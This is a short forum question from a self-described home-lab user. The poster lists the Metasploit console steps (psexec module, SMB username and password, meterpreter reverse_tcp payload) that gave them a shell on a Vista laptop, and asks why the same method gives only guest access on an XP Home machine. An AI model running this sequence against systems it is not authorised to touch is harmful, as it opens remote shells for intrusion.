I have tried to use metasploit in my own network and all those machines are my, nothing illegal.

I succesfully gained access to Vista SP1 laptop
cd /pentest/exploits/framework3
use windows/smb/psexec
set RHOST (target)
set SMBUser <name>
set SMBPass <pass>
show options
set payload windows/meterpreter/reverse_tcp
set LHOST (me)
However I cant gain access to XP home SP4.

is says that it gives me guest privileges. Iv done that same than to vista.

I know user name and password.

and it doesnt let me continue, what should I do to get connection to XP home SP4 work.

and yes I have searched a lot